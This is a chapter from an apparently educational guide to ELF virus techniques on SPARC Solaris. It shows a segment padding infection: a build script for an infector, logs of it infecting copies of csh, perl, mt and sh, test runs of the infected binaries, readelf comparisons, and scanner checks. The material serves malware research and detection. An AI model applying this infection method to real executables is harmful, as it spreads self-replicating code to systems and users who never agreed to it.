8. Segment padding infection

 

Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force.

 Darth Vader

Another interesting thing in the output of Segments of /bin/sh is the distance between the two LOAD segments:

VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x4e508 - 0x10000 - 0x2e506 = 0x10002 = 65538 bytes

Offset[2] - Offset[1] - FileSiz[1] = 0x2e508 - 0x0 - 0x2e506 = 0x2 = 2 bytes

Only 2 bytes (0x2) would be needed to align the first LOAD segment up to the alignment of 0x10000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of _SC_PAGESIZE. We can fill the gap only in chunks of that size.

Output: out/sparc-sunos5.7/segment_padding/sysconf
_SC_CLK_TCK=100
_SC_VERSION=199506
_SC_PAGESIZE=4096

8.1. Off we go

We found a peculiarity. We verified its existence. We have a basic framework at One step closer (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. So off we go.

Command: pre/sparc-sunos5.7/one_step_closer/cc.sh
#!/usr/xpg4/bin/sh
project=${1:-one_step_closer}
entry_addr=${2:-e1}
infection=${3:-i1}
main=${4}

/usr/local/bin/gcc -Wall -O1 -I . -I out/sparc-sunos5.7 -D NDEBUG \
	-I ./src/one_step_closer/${entry_addr} \
	-I out/sparc-sunos5.7/one_step_closer/${infection} \
	-o tmp/sparc-sunos5.7/${project}/${entry_addr}${infection}/infector \
	${main} 2>&1 \
| /usr/xpg4/bin/sed '/left-hand operand of comma expression has no effect$/d'

Output: out/sparc-sunos5.7/segment_padding/e1i1/infect
/usr/bin/csh ... wrote 76 bytes, Ok
/usr/bin/perl ... wrote 76 bytes, Ok
/usr/bin/mt ... wrote 76 bytes, Ok
/usr/xpg4/bin/sh ... wrote 76 bytes, Ok
files=4; ok=4; failed=0

A simple shell script will do as test.

Output = Command: out/sparc-sunos5.7/segment_padding/test-e1i1.sh
#!tmp/sparc-sunos5.7/segment_padding/e1i1/sh_infected
echo $_
echo ${BASH_VERSION}
tmp/sparc-sunos5.7/segment_padding/e1i1/mt_infected
tmp/sparc-sunos5.7/segment_padding/e1i1/csh_infected -fc 'echo ${version}'
tmp/sparc-sunos5.7/segment_padding/e1i1/perl_infected -v | /usr/xpg4/bin/sed 3q
echo "---"
/usr/bin/cat tmp/sparc-sunos5.7/segment_padding/e1i1/sh_infected > tmp/sparc-sunos5.7/segment_padding/e1i1/strip_sh_infected \
&& /usr/local/bin/strip tmp/sparc-sunos5.7/segment_padding/e1i1/strip_sh_infected \
&& /usr/bin/chmod 755 tmp/sparc-sunos5.7/segment_padding/e1i1/strip_sh_infected \
&& tmp/sparc-sunos5.7/segment_padding/e1i1/strip_sh_infected --version

Output: out/sparc-sunos5.7/segment_padding/test-e1i1
ELF/usr/xpg4/bin/make

ELFusage: mt [ -f device ] command [ count ]
ELFversion: Undefined variable
ELF
This is perl, v5.8.0 built for sun4-solaris

---
BFD: tmp/sparc-sunos5.7/segment_padding/e1i1/st0Kayld: warning: allocated section `.interp' not in segment
out/sparc-sunos5.7/segment_padding/test-e1i1.sh[11]: 1629 Killed

The Force is strong with this one. [1]

8.2. Magnifying glass

After emotions cooled down a bit we can examine the infected executable and compare it with the original.

Command: pre/sparc-sunos5.7/segment_padding/readelf.sh
#!/usr/xpg4/bin/sh
cd tmp/sparc-sunos5.7/segment_padding/e1i1 \
&& /usr/xpg4/bin/ls -l sh_infected \
&& /usr/local/bin/readelf -l sh_infected

Output: out/sparc-sunos5.7/segment_padding/readelf
-rwxr-xr-x   1 alba     alba      197900 Jan  8  2003 sh_infected

Elf file type is EXEC (Executable file)
Entry point 0x3e510
There are 5 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x00010034 0x00000000 0x000a0 0x000a0 R E 0
  INTERP         0x0000d4 0x00000000 0x00000000 0x00011 0x00000 R   0
      [Requesting program interpreter: /usr/lib/ld.so.1]
  LOAD           0x000000 0x00010000 0x00000000 0x2f506 0x2f506 R E 0x10000
  LOAD           0x02f508 0x0004e508 0x00000000 0x00b18 0x0202b RWE 0x10000
  DYNAMIC        0x02faec 0x0004eaec 0x00000000 0x000b8 0x00000 RWE 0

 Section to Segment mapping:
  Segment Sections...
   00     
   01     
   02     .interp .hash .dynsym .dynstr .SUNW_version .rela.ex_shared .rela.data .rela.bss .rela.plt .text .init .fini .exception_ranges .rodata .rodata1 
   03     .got .plt .dynamic .ex_shared .data .data1 .bss 
   04     

File size and code segment have grown as expected. Data segment and DYNAMIC segment moved accordingly:

infected.file_size - sh.file_size = 197900 - 193804 = 4096 = 0x1000

infected.LOAD[1].Filesiz - sh.LOAD[1].Filesiz = 0x2f506 - 0x2e506 = 0x1000

infected.LOAD[2].Offset - sh.LOAD[2].Offset = 0x2f508 - 0x2e508 = 0x1000

infected.DYNAMIC.Offset - sh.DYNAMIC.Offset = 0x2faec - 0x2eaec = 0x1000

And the new distance between the LOAD segments:

VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x4e508 - 0x10000 - 0x2f506 = 0xf002 = 61442 bytes

Offset[2] - Offset[1] - FileSiz[1] = 0x2f508 - 0x0 - 0x2f506 = 0x2 = 2 bytes

8.3. First scan

The small output of Scan segments includes the executable from last chapter. But for clarity we repeat the exercise.

Command: pre/sparc-sunos5.7/segment_padding/scan_dist.sh
#!/usr/xpg4/bin/sh
TEVWH_TMP=tmp/sparc-sunos5.7; export TEVWH_TMP
/usr/bin/echo "/usr/xpg4/bin/sh
tmp/sparc-sunos5.7/one_step_closer/e1i1/sh_infected" \
| tmp/sparc-sunos5.7/scanner/segment

Output: out/sparc-sunos5.7/segment_padding/scan
/usr/xpg4/bin/sh ... delta=0x10002, Ok
(2) No such file or directory
CHECK: tmp/sparc-sunos5.7/one_step_closer/e1i1/sh_infected
CHECK: src/scanner/segment/open_src.inc#9
CHECK: (0) <= (t->fd_src = open(t->src_file, 0))
CHECK: 0 <= -1; 0 <= 0xffffffff
files=2; ok=1; det_page=1; det_align=0; min=0x10002; max=0x0000

This is like playing chess against oneself, and losing. Can't do much about it, though.

8.4. Second scan

The value of Entry point changed dramatically. In the original it is in the first part of the file:

entry_point_m/additional.cs.xml = 0x175c4 - 0x10000 = 0x75c4 = 30148 bytes.

The infected copy moved that to less than 1000 bytes from the end of the code segment.

entry_point_ofs = 0x3e510 - 0x10000 = 0x2e510 = 189712 bytes.

end_of_LOAD1 = 0x10000 + 0x2f506 = 0x3f506

entry_point_distance_to_end = 0x3f506 - 0x3e510 = 0xff6 = 4086

This alone is an easy vulnerability to scanners. But then since Scan entry point we know for sure that with regular executables the entry point equals the start of section .text.

Notes

[1]

Ok, it is not strip-safe on SunOS. But I call that room for improvement.